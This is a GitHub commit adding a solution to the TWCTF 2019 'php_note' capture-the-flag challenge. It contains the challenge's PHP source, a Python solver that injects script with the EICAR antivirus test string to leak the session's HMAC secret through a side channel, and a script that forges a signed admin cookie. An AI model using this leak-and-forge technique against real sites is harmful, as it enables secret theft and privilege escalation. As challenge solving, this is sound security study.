Skip to content

Commit c2638d9

Browse files
committed
Solve TWCTF 2019 php_note
1 parent 02a83a5 commit c2638d9

File tree

4 files changed

+383
-0
lines changed

4 files changed

+383
-0
lines changed

TWCTF/2019/php_note/serialize.php

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<?php
2+
class Note {
3+
public function __construct($admin) {
4+
$this->notes = array();
5+
$this->isadmin = $admin;
6+
}
7+
public function addnote($title, $body) {
8+
array_push($this->notes, [$title, $body]);
9+
}
10+
public function getnotes() {
11+
return $this->notes;
12+
}
13+
public function getflag() {
14+
if ($this->isadmin === true) {
15+
echo FLAG;
16+
}
17+
}
18+
}
19+
20+
function hmac($data) {
21+
$secret = "2532bd172578d19923e5348420e02320";
22+
if (empty($data) || empty($secret)) return false;
23+
return hash_hmac('sha256', $data, $secret);
24+
}
25+
26+
$note = new Note(true);
27+
$data = base64_encode(serialize($note));
28+
29+
// string(68) "Tzo0OiJOb3RlIjoyOntzOjU6Im5vdGVzIjthOjA6e31zOjc6ImlzYWRtaW4iO2I6MTt9"
30+
var_dump((string)$data);
31+
// string(64) "b6b6aa1a1732e8c83fddf6564acb50c94f59d9eaa4d6ccf4ac8ed494bb11c71f"
32+
var_dump((string)hmac($data));
33+
?>

TWCTF/2019/php_note/solver.py

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
import requests
2+
3+
URL = "http://phpnote.chal.ctf.westerns.tokyo/"
4+
5+
6+
def trigger(c, idx):
7+
import string
8+
sess = requests.Session()
9+
# init session
10+
sess.post(URL + '/?action=login', data={'realname': 'new_session'})
11+
# manipulate session
12+
p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
13+
p = string.Template(p).substitute({'idx': idx, 'c': c})
14+
resp = sess.post(URL + '/?action=login', data={'realname': '"http://127.0.0.1/flag?a=' + p, 'nickname': '</body>'})
15+
return "<h1>Welcome" not in resp.text
16+
17+
18+
def leak(idx):
19+
l, h = 0, 0x100
20+
while h - l > 1:
21+
m = (h + l) // 2
22+
if trigger(m, idx):
23+
l = m
24+
else:
25+
h = m
26+
return chr(l)
27+
28+
# "2532bd172578d19923e5348420e02320"
29+
secret = ''
30+
for i in range(14, 14+34):
31+
secret += leak(i)
32+
print(secret)

TWCTF/2019/php_note/source-mod.php

+159
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
<?php
2+
include 'config.php';
3+
class Note {
4+
public function __construct($admin) {
5+
$this->notes = array();
6+
$this->isadmin = $admin;
7+
}
8+
public function addnote($title, $body) {
9+
array_push($this->notes, [$title, $body]);
10+
}
11+
public function getnotes() {
12+
return $this->notes;
13+
}
14+
public function getflag() {
15+
if ($this->isadmin === true) {
16+
echo FLAG;
17+
}
18+
}
19+
}
20+
function verify($data, $hmac) {
21+
$secret = $_SESSION['secret'];
22+
if (empty($secret)) return false;
23+
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
24+
}
25+
function hmac($data) {
26+
$secret = $_SESSION['secret'];
27+
if (empty($data) || empty($secret)) return false;
28+
return hash_hmac('sha256', $data, $secret);
29+
}
30+
function gen_secret($seed) {
31+
return md5(SALT . $seed . PEPPER);
32+
}
33+
function is_login() {
34+
return !empty($_SESSION['secret']);
35+
}
36+
function redirect($action) {
37+
header("Location: /source-mod.php?action=$action");
38+
exit();
39+
}
40+
$method = $_SERVER['REQUEST_METHOD'];
41+
$action = $_GET['action'];
42+
if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
43+
redirect('index');
44+
}
45+
if ($action === 'source') {
46+
highlight_file(__FILE__);
47+
exit();
48+
}
49+
session_start();
50+
if (is_login()) {
51+
$realname = $_SESSION['realname'];
52+
$nickname = $_SESSION['nickname'];
53+
54+
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
55+
? unserialize(base64_decode($_COOKIE['note']))
56+
: new Note(false);
57+
}
58+
if ($action === 'login') {
59+
if ($method === 'POST') {
60+
$nickname = (string)$_POST['nickname'];
61+
$realname = (string)$_POST['realname'];
62+
if (empty($realname) || strlen($realname) < 8) {
63+
die('invalid name');
64+
}
65+
$_SESSION['realname'] = $realname;
66+
if (!empty($nickname)) {
67+
$_SESSION['nickname'] = $nickname;
68+
}
69+
$_SESSION['secret'] = gen_secret($nickname);
70+
}
71+
redirect('index');
72+
}
73+
if ($action === 'logout') {
74+
session_destroy();
75+
redirect('index');
76+
}
77+
if ($action === 'post') {
78+
if ($method === 'POST') {
79+
$title = (string)$_POST['title'];
80+
$body = (string)$_POST['body'];
81+
$note->addnote($title, $body);
82+
$data = base64_encode(serialize($note));
83+
setcookie('note', (string)$data);
84+
setcookie('hmac', (string)hmac($data));
85+
}
86+
redirect('index');
87+
}
88+
if ($action === 'getflag') {
89+
$note->getflag();
90+
}
91+
?>
92+
<!doctype html>
93+
<html>
94+
<head>
95+
<title>PHP note</title>
96+
</head>
97+
<style>
98+
textarea {
99+
resize: none;
100+
width: 300px;
101+
height: 200px;
102+
}
103+
</style>
104+
<body>
105+
<?php
106+
if (!is_login()) {
107+
$realname = htmlspecialchars($realname);
108+
$nickname = htmlspecialchars($nickname);
109+
?>
110+
<form action="/?action=login" method="post" id="login">
111+
<input type="text" id="firstname" placeholder="First Name">
112+
<input type="text" id="lastname" placeholder="Last Name">
113+
<input type="text" name="nickname" id="nickname" placeholder="nickname">
114+
<input type="hidden" name="realname" id="realname">
115+
<button type="submit">Login</button>
116+
</form>
117+
<?php
118+
} else {
119+
?>
120+
<h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
121+
<a href="/?action=logout">logout</a>
122+
<!-- <a href="/?action=source">source</a> -->
123+
<br/>
124+
<br/>
125+
<?php
126+
foreach($note->getnotes() as $k => $v) {
127+
list($title, $body) = $v;
128+
$title = htmlspecialchars($title);
129+
$body = htmlspecialchars($body);
130+
?>
131+
<h2><?=$title?></h2>
132+
<p><?=$body?></p>
133+
<?php
134+
}
135+
?>
136+
<form action="/?action=post" method="post">
137+
<input type="text" name="title" placeholder="title">
138+
<br>
139+
<textarea name="body" placeholder="body"></textarea>
140+
<button type="submit">Post</button>
141+
</form>
142+
<?php
143+
}
144+
?>
145+
<?php
146+
?>
147+
<script>
148+
document.querySelector("form#login").addEventListener('submit', (e) => {
149+
const nickname = document.querySelector("input#nickname")
150+
const firstname = document.querySelector("input#firstname")
151+
const lastname = document.querySelector("input#lastname")
152+
document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
153+
if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
154+
nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
155+
}
156+
})
157+
</script>
158+
</body>
159+
</html>

TWCTF/2019/php_note/source.php

+159
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
<?php
2+
include 'config.php';
3+
class Note {
4+
public function __construct($admin) {
5+
$this->notes = array();
6+
$this->isadmin = $admin;
7+
}
8+
public function addnote($title, $body) {
9+
array_push($this->notes, [$title, $body]);
10+
}
11+
public function getnotes() {
12+
return $this->notes;
13+
}
14+
public function getflag() {
15+
if ($this->isadmin === true) {
16+
echo FLAG;
17+
}
18+
}
19+
}
20+
function verify($data, $hmac) {
21+
$secret = $_SESSION['secret'];
22+
if (empty($secret)) return false;
23+
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
24+
}
25+
function hmac($data) {
26+
$secret = $_SESSION['secret'];
27+
if (empty($data) || empty($secret)) return false;
28+
return hash_hmac('sha256', $data, $secret);
29+
}
30+
function gen_secret($seed) {
31+
return md5(SALT . $seed . PEPPER);
32+
}
33+
function is_login() {
34+
return !empty($_SESSION['secret']);
35+
}
36+
function redirect($action) {
37+
header("Location: /?action=$action");
38+
exit();
39+
}
40+
$method = $_SERVER['REQUEST_METHOD'];
41+
$action = $_GET['action'];
42+
if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
43+
redirect('index');
44+
}
45+
if ($action === 'source') {
46+
highlight_file(__FILE__);
47+
exit();
48+
}
49+
session_start();
50+
if (is_login()) {
51+
$realname = $_SESSION['realname'];
52+
$nickname = $_SESSION['nickname'];
53+
54+
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
55+
? unserialize(base64_decode($_COOKIE['note']))
56+
: new Note(false);
57+
}
58+
if ($action === 'login') {
59+
if ($method === 'POST') {
60+
$nickname = (string)$_POST['nickname'];
61+
$realname = (string)$_POST['realname'];
62+
if (empty($realname) || strlen($realname) < 8) {
63+
die('invalid name');
64+
}
65+
$_SESSION['realname'] = $realname;
66+
if (!empty($nickname)) {
67+
$_SESSION['nickname'] = $nickname;
68+
}
69+
$_SESSION['secret'] = gen_secret($nickname);
70+
}
71+
redirect('index');
72+
}
73+
if ($action === 'logout') {
74+
session_destroy();
75+
redirect('index');
76+
}
77+
if ($action === 'post') {
78+
if ($method === 'POST') {
79+
$title = (string)$_POST['title'];
80+
$body = (string)$_POST['body'];
81+
$note->addnote($title, $body);
82+
$data = base64_encode(serialize($note));
83+
setcookie('note', (string)$data);
84+
setcookie('hmac', (string)hmac($data));
85+
}
86+
redirect('index');
87+
}
88+
if ($action === 'getflag') {
89+
$note->getflag();
90+
}
91+
?>
92+
<!doctype html>
93+
<html>
94+
<head>
95+
<title>PHP note</title>
96+
</head>
97+
<style>
98+
textarea {
99+
resize: none;
100+
width: 300px;
101+
height: 200px;
102+
}
103+
</style>
104+
<body>
105+
<?php
106+
if (!is_login()) {
107+
$realname = htmlspecialchars($realname);
108+
$nickname = htmlspecialchars($nickname);
109+
?>
110+
<form action="/?action=login" method="post" id="login">
111+
<input type="text" id="firstname" placeholder="First Name">
112+
<input type="text" id="lastname" placeholder="Last Name">
113+
<input type="text" name="nickname" id="nickname" placeholder="nickname">
114+
<input type="hidden" name="realname" id="realname">
115+
<button type="submit">Login</button>
116+
</form>
117+
<?php
118+
} else {
119+
?>
120+
<h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
121+
<a href="/?action=logout">logout</a>
122+
<!-- <a href="/?action=source">source</a> -->
123+
<br/>
124+
<br/>
125+
<?php
126+
foreach($note->getnotes() as $k => $v) {
127+
list($title, $body) = $v;
128+
$title = htmlspecialchars($title);
129+
$body = htmlspecialchars($body);
130+
?>
131+
<h2><?=$title?></h2>
132+
<p><?=$body?></p>
133+
<?php
134+
}
135+
?>
136+
<form action="/?action=post" method="post">
137+
<input type="text" name="title" placeholder="title">
138+
<br>
139+
<textarea name="body" placeholder="body"></textarea>
140+
<button type="submit">Post</button>
141+
</form>
142+
<?php
143+
}
144+
?>
145+
<?php
146+
?>
147+
<script>
148+
document.querySelector("form#login").addEventListener('submit', (e) => {
149+
const nickname = document.querySelector("input#nickname")
150+
const firstname = document.querySelector("input#firstname")
151+
const lastname = document.querySelector("input#lastname")
152+
document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
153+
if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
154+
nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
155+
}
156+
})
157+
</script>
158+
</body>
159+
</html>

0 commit comments

Comments
 (0)